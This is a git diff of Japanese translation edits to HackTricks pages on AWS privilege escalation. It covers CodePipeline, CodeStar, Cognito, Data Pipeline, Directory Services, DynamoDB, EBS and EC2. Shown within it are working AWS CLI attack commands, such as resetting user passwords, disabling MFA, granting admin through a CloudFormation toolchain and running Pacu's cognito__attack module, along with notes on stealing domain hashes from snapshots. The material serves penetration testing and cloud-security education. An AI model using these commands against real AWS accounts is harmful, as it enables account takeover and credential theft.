+コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを妥協することができます。
 
-前述の権限に加えて、**コードが保存されている場所へのアクセスが必要**です（S3、ECR、github、bitbucket...）。
+前述の権限に加えて、**コードが保存されている場所へのアクセス**（S3、ECR、github、bitbucket...）が必要です。
 
-私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するためには次の権限も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するには以下も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
 
-**ビルドプロジェクトの作成中**に、**実行するコマンド**（rev shell?）を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が侵害するために必要な設定です:
+**ビルドプロジェクトの作成中**に、**実行するコマンド**（rev shell?）を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が妥協するために必要な設定です:
 
 ![](<../../../images/image (276).png>)
 
@@ -32,6 +32,6 @@ Codepipelineに関する詳細情報は以下を確認してください:
 
 [AWSは次のように述べています](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
 
-> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合です。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。
+> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md

@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
 
 ### `iam:PassRole`, `codestar:CreateProject`
 
-これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。以下のページを確認してください：
+これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。次のページを確認してください：
 
 {{#ref}}
 iam-passrole-codestar-createproject.md
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
 
 ### `codestar:CreateProject`, `codestar:AssociateTeamMember`
 
-この技術は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**オーナー**にすることで、**いくつかの追加権限を持つ新しいポリシー**を付与します。
+この手法は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**所有者**にすることで、**いくつかの追加権限を持つ新しいポリシーを付与**します。
 ```bash
 PROJECT_NAME="supercodestar"
 
@@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
 --project-role "Owner" \
 --remote-access-allowed
 ```
-もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナーに更新**できます。`codestar:AssociateTeamMember`の代わりに。
+もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナー**に更新することができます。`codestar:AssociateTeamMember`の代わりに。
 
-**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下のポリシーの例を見つけることができます。
+**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下にそのポリシーの例を見つけることができます：
 
 {{#ref}}
 codestar-createproject-codestar-associateteammember.md
@@ -52,15 +52,15 @@ codestar-createproject-codestar-associateteammember.md
 1. **新しいプロジェクトを作成:**
 - **`codestar:CreateProjectFromTemplate`**アクションを利用して新しいプロジェクトの作成を開始します。
 - 成功裏に作成されると、**`cloudformation:UpdateStack`**へのアクセスが自動的に付与されます。
-- このアクセスは、`CodeStarWorker-<generic project name>-CloudFormation` IAMロールに関連付けられたスタックを特に対象とします。
+- このアクセスは、`CodeStarWorker-<generic project name>-CloudFormation` IAMロールに関連付けられたスタックを特に対象としています。
 2. **ターゲットスタックを更新:**
 - 付与されたCloudFormation権限を使用して、指定されたスタックを更新します。
-- スタックの名前は通常、次の2つのパターンのいずれかに従います:
+- スタックの名前は通常、次の2つのパターンのいずれかに従います：
 - `awscodestar-<generic project name>-infrastructure`
 - `awscodestar-<generic project name>-lambda`
 - 正確な名前は選択したテンプレートに依存します（例のエクスプロイトスクリプトを参照）。
 3. **アクセスと権限:**
-- 更新後、スタックに関連付けられた**CloudFormation IAMロール**に割り当てられた機能を取得します。
+- 更新後、スタックにリンクされた**CloudFormation IAMロール**に割り当てられた機能を取得します。
 - 注意: これは本質的に完全な管理者権限を提供するものではありません。権限をさらに昇格させるためには、環境内の追加の誤設定されたリソースが必要になる場合があります。
 
 詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)。\

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md

@@ -2,9 +2,9 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-これらの権限を使用すると、**codestar IAMロールを悪用**して、**cloudformationテンプレート**を介して**任意のアクション**を実行できます。
+これらの権限を使用すると、**codestar IAMロールを悪用**して、**任意のアクション**を**cloudformationテンプレート**を通じて実行できます。
 
-これを悪用するには、攻撃されたアカウントから**アクセス可能なS3バケット**を作成する必要があります。`toolchain.json`という名前のファイルをアップロードします。このファイルには、**cloudformationテンプレートのエクスプロイト**が含まれている必要があります。次のものを使用して、あなたの管理下にあるユーザーにマネージドポリシーを設定し、**管理者権限を付与**できます：
+これを悪用するには、攻撃されたアカウントから**アクセス可能なS3バケットを作成**する必要があります。`toolchain.json`という名前のファイルをアップロードします。このファイルには、**cloudformationテンプレートのエクスプロイト**が含まれている必要があります。次のものを使用して、あなたの管理下にあるユーザーに管理ポリシーを設定し、**管理者権限を付与**できます：
 ```json:toolchain.json
 {
 "Resources": {
@@ -32,9 +32,9 @@
 
 {% file src="../../../../images/empty.zip" %}
 
-**victim account** から両方のファイルにアクセスできる **bucket** であることを忘れないでください。
+**両方のファイルが被害者アカウントからアクセス可能なバケットであることを忘れないでください**。
 
-両方のファイルを **upload** したら、**codestar** プロジェクトを作成して **exploitation** に進むことができます：
+両方のファイルをアップロードしたら、**codestar** プロジェクトを作成して **exploitation** に進むことができます：
 ```bash
 PROJECT_NAME="supercodestar"
 
@@ -79,6 +79,6 @@ aws codestar create-project \
 --source-code file://$SOURCE_CODE_PATH \
 --toolchain file://$TOOLCHAIN_PATH
 ```
-このエクスプロイトは、**これらの権限のPacuエクスプロイト**に基づいています: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) ここでは、ユーザーではなくロールのために管理されたポリシーを作成するバリエーションを見つけることができます。
+このエクスプロイトは、**これらの権限のPacuエクスプロイト**に基づいています: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) これにより、ユーザーではなくロールのために管理されたポリシーを作成するバリエーションを見つけることができます。
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md

@@ -4,7 +4,7 @@
 
 ## Cognito
 
-Cognitoに関する詳細情報は以下を確認してください：
+Cognitoに関する詳細情報は、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-cognito-enum/
@@ -12,9 +12,9 @@ Cognitoに関する詳細情報は以下を確認してください：
 
 ### アイデンティティプールからの資格情報の収集
 
-Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば（アプリケーションにハードコーディングされているはずです）、新しい資格情報を取得でき、したがって権限昇格が可能です（おそらく以前は資格情報を持っていなかったAWSアカウント内で）。
+Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば（アプリケーションにハードコーディングされているはずです）、新しい資格情報を取得でき、したがって権限昇格が可能です（おそらく以前は何の資格情報も持っていなかったAWSアカウント内で）。
 
-詳細については[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。
+詳細情報は[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。
 
 **潜在的な影響：** 未認証ユーザーに付与されたサービスロールへの直接的な権限昇格（おそらく認証済みユーザーに付与されたものにも）。
 
@@ -32,7 +32,7 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
 ## Get creds for that id
 aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
 ```
-もしCognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。
+Cognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。
 
 **潜在的な影響:** どのCognitoロールにも直接的な権限昇格。
 
@@ -69,7 +69,7 @@ aws cognito-identity update-identity-pool \
 --allow-unauthenticated-identities
 --allow-classic-flow
 ```
-**潜在的な影響**: アイデンティティプール内の構成された認証済みIAMロールを侵害する。
+**潜在的な影響**: アイデンティティプール内の設定された認証済みIAMロールが侵害される。
 
 ### `cognito-idp:AdminAddUserToGroup`
 
@@ -80,11 +80,11 @@ aws cognito-idp admin-add-user-to-group \
 --username <value> \
 --group-name <value>
 ```
-**潜在的な影響:** 他のCognitoグループおよびユーザープールグループに付随するIAMロールへの権限昇格。
+**潜在的な影響:** 他のCognitoグループおよびユーザープールグループに添付されたIAMロールへの権限昇格。
 
 ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
 
-これらの権限を持つ攻撃者は、**侵害されたCognitoアイデンティティプロバイダー**によって使用できる**すべてのIAMロール**を持つ**グループを作成/更新**し、侵害されたユーザーをそのグループの一部にすることで、すべてのロールにアクセスできます:
+これらの権限を持つ攻撃者は、**すべてのIAMロールを使用して**妥協されたCognitoアイデンティティプロバイダーによって**作成/更新されたグループ**を作成/更新し、妥協されたユーザーをそのグループの一部にすることで、すべてのロールにアクセスできます。
 ```bash
 aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
 ```
@@ -111,11 +111,11 @@ aws cognito-idp admin-create-user \
 [--validation-data <value>]
 [--temporary-password <value>]
 ```
-**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。
+**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。
 
 ### `cognito-idp:AdminEnableUser`
 
-この権限は、攻撃者が無効化されたユーザーの資格情報を見つけ、そのユーザーを**再度有効にする**必要がある非常に限られたケースで役立ちます。
+この権限は、攻撃者が無効化されたユーザーの資格情報を見つけ、**再度有効にする**必要がある非常に限られたケースで役立ちます。
 ```bash
 aws cognito-idp admin-enable-user \
 --user-pool-id <value> \
@@ -129,7 +129,7 @@ aws cognito-idp admin-enable-user \
 
 ### `cognito-idp:AdminSetUserPassword`
 
-この権限は、攻撃者が**任意のユーザーのパスワードを変更することを許可し、MFAが有効でない任意のユーザーになりすますことができるようにします。**
+この権限は、攻撃者が**任意のユーザーのパスワードを変更する**ことを許可し、MFAが有効でない任意のユーザーを偽装できるようにします。
 ```bash
 aws cognito-idp admin-set-user-password \
 --user-pool-id <value> \
@@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \
 --password <value> \
 --permanent
 ```
-**潜在的な影響:** 直接的な権限昇格が可能で、すべてのユーザーが所属するグループへのアクセスや、Identity Pool 認証済み IAM ロールへのアクセスが可能です。
+**潜在的な影響:** 直接的な権限昇格により、任意のユーザーにアクセスできる可能性があり、各ユーザーが所属するすべてのグループへのアクセスと、Identity Pool 認証済み IAM ロールへのアクセスが得られます。
 
 ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
 
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
 --username <value> \
 --user-pool-id <value>
 ```
-**SetUserPoolMfaConfig**: 前のものと同様に、この権限はMFA保護を回避するためにユーザープールのMFA設定を行うために使用できます。
+**SetUserPoolMfaConfig**: 前のものと同様に、この権限はユーザープールのMFA設定を変更してMFA保護を回避するために使用できます。
 ```bash
 aws cognito-idp set-user-pool-mfa-config \
 --user-pool-id <value> \
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
 [--software-token-mfa-configuration <value>] \
 [--mfa-configuration <value>]
 ```
-**UpdateUserPool:** ユーザープールを更新してMFAポリシーを変更することも可能です。[こちらでcliを確認してください](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。
+**UpdateUserPool:** ユーザープールを更新してMFAポリシーを変更することも可能です。[Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。
 
 **Potential Impact:** 攻撃者が認証情報を知っている任意のユーザーに対する間接的な権限昇格が可能で、これによりMFA保護を回避できる可能性があります。
 
@@ -182,9 +182,9 @@ aws cognito-idp admin-update-user-attributes \
 
 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
 
-この権限を持つ攻撃者は、**既存のプールクライアントよりも制限の少ない新しいUser Pool Clientを作成**することができます。例えば、新しいクライアントは、あらゆる種類の方法で認証を許可し、秘密を持たず、トークンの取り消しを無効にし、トークンがより長い期間有効であることを許可することができます...
+この権限を持つ攻撃者は、**既存のプールクライアントよりも制限の少ない新しいUser Pool Clientを作成**することができます。例えば、新しいクライアントは、あらゆる種類の方法で認証を許可し、秘密がなく、トークンの取り消しが無効で、トークンがより長い期間有効であることを許可することができます...
 
-新しいクライアントを作成する代わりに、**既存のクライアントを変更**することでも同じことができます。
+新しいクライアントを作成する代わりに、**既存のクライアントを変更する**ことでも同じことができます。
 
 [**コマンドライン**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)（または[**更新のもの**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)）で、すべてのオプションを確認できます。チェックしてください！
 ```bash
@@ -193,11 +193,11 @@ aws cognito-idp create-user-pool-client \
 --client-name <value> \
 [...]
 ```
-**潜在的な影響:** ユーザープールによって使用されるアイデンティティプールの承認されたユーザーへの潜在的な間接的な権限昇格。新しいクライアントを作成することでセキュリティ対策が緩和され、攻撃者が作成したユーザーでログインすることが可能になる。
+**潜在的な影響:** ユーザープールによって使用されるアイデンティティプールの承認されたユーザーに対する潜在的な間接的な権限昇格。新しいクライアントを作成することでセキュリティ対策が緩和され、攻撃者が作成したユーザーでログインすることが可能になる。
 
 ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
 
-攻撃者はこの権限を悪用して、新しいユーザーを含むCSVをアップロードすることでユーザーを作成することができる。
+攻撃者はこの権限を悪用して、新しいユーザーを含むcsvをアップロードすることでユーザーを作成することができる。
 ```bash
 # Create a new import job
 aws cognito-idp create-user-import-job \
@@ -214,13 +214,13 @@ aws cognito-idp start-user-import-job \
 curl -v -T "PATH_TO_CSV_FILE" \
 -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
 ```
-（新しいインポートジョブを作成する場合、iam passrole権限も必要になるかもしれませんが、まだテストしていません）。
+（新しいインポートジョブを作成する場合、iam passrole権限が必要になることがありますが、まだテストしていません）。
 
 **潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。
 
 ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
 
-攻撃者は新しいアイデンティティプロバイダーを作成し、その後**このプロバイダーを通じてログイン**できるようになります。
+攻撃者は新しいアイデンティティプロバイダーを作成し、このプロバイダーを通じて**ログインできる**ようになります。
 ```bash
 aws cognito-idp create-identity-provider \
 --user-pool-id <value> \
@@ -230,36 +230,36 @@ aws cognito-idp create-identity-provider \
 [--attribute-mapping <value>] \
 [--idp-identifiers <value>]
 ```
-**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。他のアプリ機能への間接的な権限昇格、任意のユーザーを作成できる。
+**潜在的影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。
 
 ### cognito-sync:\* 分析
 
-これはCognitoアイデンティティプールのロールでデフォルトで非常に一般的な権限です。権限にワイルドカードが含まれていると常に悪い印象を与えます（特にAWSからの場合）、しかし**与えられた権限は攻撃者の視点からはあまり有用ではありません**。
+これはCognitoアイデンティティプールのロールでデフォルトで非常に一般的な権限です。権限にワイルドカードが含まれていることは常に悪い印象を与えます（特にAWSからの場合）、しかし**与えられた権限は攻撃者の視点からはあまり有用ではありません**。
 
-この権限は、アイデンティティプール内のアイデンティティIDとアイデンティティプールの使用情報を読み取ることを許可します（これは機密情報ではありません）。\
-アイデンティティIDには、セッションの情報（AWSはこれを**セーブされたゲーム**と定義しています）を持つ[**データセット**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)が割り当てられている可能性があります。これには何らかの機密情報が含まれている可能性がありますが（確率はかなり低いです）、この情報にアクセスする方法は[**列挙ページ**](../aws-services/aws-cognito-enum/)で見つけることができます。
+この権限は、アイデンティティプール内のアイデンティティ情報やアイデンティティIDを読み取ることを許可します（これは機密情報ではありません）。\
+アイデンティティIDには[**データセット**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)が割り当てられている可能性があり、これはセッションの情報です（AWSはこれを**セーブされたゲーム**と定義しています）。これには何らかの機密情報が含まれている可能性がありますが（確率はかなり低いです）、この情報にアクセスする方法は[**列挙ページ**](../aws-services/aws-cognito-enum/)で見つけることができます。
 
-攻撃者はこれらの権限を使用して、**これらのデータセットの変更を公開するCognitoストリームに自分を登録する**か、**Cognitoイベントでトリガーされるラムダ**を使用することもできます。これが使用されているのを見たことはありませんし、ここで機密情報が期待されることはありませんが、不可能ではありません。
+攻撃者はこれらの権限を使用して、**これらのデータセットの変更を公開するCognitoストリームに自分自身を登録する**か、**CognitoイベントでトリガーされるLambdaに登録する**こともできます。これが使用されているのを見たことはありませんし、ここで機密情報が期待されることはありませんが、不可能ではありません。
 
 ### 自動ツール
 
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSのエクスプロイトフレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成（MFAサポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく権限昇格も自動化します。
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSのエクスプロイトフレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成（MFAサポートを含む）や、変更可能なカスタム属性、使用可能なアイデンティティプール資格情報、IDトークン内の引き受け可能なロールに基づく権限昇格も自動化します。
 
 モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。
 
 #### 使用法
 
-特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての権限昇格ベクターを試みるためのサンプルcognito\_\_attack使用法:
+特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての権限昇格ベクターを試みるためのcognito\_\_attackのサンプル使用法:
 ```bash
 Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-サンプル cognito\_\_enum の使用法：現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します。
+サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集することです：
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、特権昇格を含むCognitoに対するさまざまな攻撃を実装したPythonのCLIツールです。
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、Cognito に対するさまざまな攻撃を実装する Python の CLI ツールで、特権昇格を含みます。
 
 #### インストール
 ```bash

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md

@@ -12,7 +12,7 @@ datapipelineに関する詳細情報は、以下を確認してください：
 
 ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
 
-これらの**権限を持つユーザーは、割り当てられたロールの**権限を使用して任意のコマンドを実行するためにData Pipelineを作成することで権限を昇格させることができます：
+これらの**権限を持つユーザーは、Data Pipelineを作成することで権限を昇格させることができます**。これは**割り当てられたロールの権限を使用して任意のコマンドを実行するためです：**
 ```bash
 aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 ```
@@ -50,14 +50,14 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 }
 ```
 > [!NOTE]
-> **14行目、15行目、27行目**の**ロール**は**datapipeline.amazonaws.comによって引き受け可能なロール**である必要があります。また、**28行目**のロールは**EC2プロファイルインスタンスを持つec2.amazonaws.comによって引き受け可能なロール**である必要があります。
+> **14行目、15行目、27行目**の**ロール**は**datapipeline.amazonaws.comによって引き受け可能なロール**である必要があり、**28行目**のロールは**EC2プロファイルインスタンスを持つec2.amazonaws.comによって引き受け可能なロール**である必要があります。
 >
 > さらに、EC2インスタンスはEC2インスタンスによって引き受け可能なロールにのみアクセスできるため（そのロールのみを盗むことができます）。
 ```bash
 aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
 --pipeline-definition file:///pipeline/definition.json
 ```
-攻撃者によって作成された**パイプライン定義ファイルには、コマンドを実行するか、AWS APIを介してリソースを作成するための指示が含まれています**。これにより、Data Pipelineのロール権限を利用して、追加の特権を得る可能性があります。
+攻撃者によって作成された**パイプライン定義ファイルには、コマンドを実行するか、AWS APIを介してリソースを作成するための指示が含まれており、Data Pipelineのロール権限を利用して追加の特権を得る可能性があります。**
 
 **潜在的な影響:** 指定されたec2サービスロールへの直接的な特権昇格。
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md

@@ -1,4 +1,4 @@
-# AWS - Directory Services Privesc
+# AWS - ディレクトリサービスの特権昇格
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@
 
 ### `ds:ResetUserPassword`
 
-この権限は、Active Directory内の**既存**のユーザーの**パスワード**を**変更**することを許可します。\
+この権限は、Active Directory内の任意の**既存**ユーザーの**パスワード**を**変更**することを許可します。\
 デフォルトでは、唯一の**既存**ユーザーは**Admin**です。
 ```
 aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
@@ -27,6 +27,6 @@ ADのユーザーがログインするためにアクセスできる**アプリ
 
 <figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
 
-アプリケーションアクセスURLを有効にし、AWS Management Consoleの権限を付与する方法は、現時点ではないようです。
+アプリケーションアクセスURLを有効にし、AWS Management Consoleの権限を付与する方法は、現時点では明らかにされていません。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md

@@ -4,7 +4,7 @@
 
 ## dynamodb
 
-dynamodbに関する詳細情報は以下を確認してください:
+dynamodbに関する詳細情報は次を確認してください:
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
@@ -12,12 +12,12 @@ dynamodbに関する詳細情報は以下を確認してください:
 
 ### Post Exploitation
 
-私の知る限り、AWSの`dynamodb`権限を持っているだけでは**権限を昇格させる直接的な方法はありません**。テーブルから**機密情報**を**読み取る**ことができ（AWSの資格情報を含む可能性があります）、テーブルに**情報を書き込む**ことができます（これにより、lambdaコードインジェクションなどの他の脆弱性を引き起こす可能性があります）が、これらのオプションはすでに**DynamoDB Post Exploitationページ**で考慮されています:
+私の知る限り、AWSの`dynamodb`権限を持っているだけで特権を昇格させる**直接的な方法はありません**。テーブルから**機密情報**を**読み取る**ことができ（AWSの資格情報を含む可能性があります）、テーブルに**情報を書き込む**ことができます（これにより、lambdaコードインジェクションなどの他の脆弱性が引き起こされる可能性があります）が、これらのオプションはすでに**DynamoDB Post Exploitationページ**で考慮されています:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
 {{#endref}}
 
-### TODO: Read data abusing data Streams
+### TODO: データストリームを悪用してデータを読む
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md

@@ -6,22 +6,22 @@
 
 ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
 
-これらを持つ攻撃者は、**ボリュームスナップショットをローカルにダウンロードして分析し**、その中にある機密情報（シークレットやソースコードなど）を探すことができる可能性があります。これを行う方法は以下を参照してください：
+これらの権限を持つ攻撃者は、**ボリュームスナップショットをローカルにダウンロードして分析し**、その中にある機密情報（シークレットやソースコードなど）を探すことができます。これを行う方法は以下を参照してください：
 
 {{#ref}}
 ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
 {{#endref}}
 
-他にも役立つ権限があるかもしれません：`ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+他にも役立つ権限として、`ec2:DescribeInstances`、`ec2:DescribeVolumes`、`ec2:DeleteSnapshot`、`ec2:CreateSnapshot`、`ec2:CreateTags`などがあります。
 
-ツール [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) は、**ドメインコントローラーからパスワードを抽出する**ためにこの攻撃を実行します。
+ツール [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) は、**ドメインコントローラーからパスワードを抽出する**攻撃を実行します。
 
-**潜在的な影響：** スナップショット内の機密情報を特定することによる間接的な権限昇格（Active Directoryのパスワードを取得することさえ可能です）。
+**潜在的な影響：** スナップショット内の機密情報を特定することによる間接的な権限昇格（Active Directoryのパスワードを取得することも可能です）。
 
 ### **`ec2:CreateSnapshot`**
 
-**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成することによって、すべてのドメインユーザーのハッシュを盗む**ことができます。これを自分が制御するインスタンスにマウントし、**NTDS.ditおよびSYSTEM**レジストリハイブファイルをImpacketのsecretsdumpプロジェクトで使用するためにエクスポートします。
+**`EC2:CreateSnapshot`** 権限を持つ任意のAWSユーザーは、**ドメインコントローラーのスナップショットを作成することによって、すべてのドメインユーザーのハッシュを盗む**ことができます。これにより、彼らが制御するインスタンスにマウントし、**NTDS.ditおよびSYSTEM**レジストリハイブファイルをImpacketのsecretsdumpプロジェクトで使用するためにエクスポートします。
 
-このツールを使用して攻撃を自動化できます：[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) またはスナップショットを作成した後に以前の技術のいずれかを使用することができます。
+このツールを使用して攻撃を自動化できます：[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) または、スナップショットを作成した後に以前の技術のいずれかを使用することもできます。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md

@@ -4,7 +4,7 @@
 
 ## EC2
 
-**EC2に関する詳細情報**は以下を確認してください:
+**EC2に関する詳細情報**は次を確認してください:
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
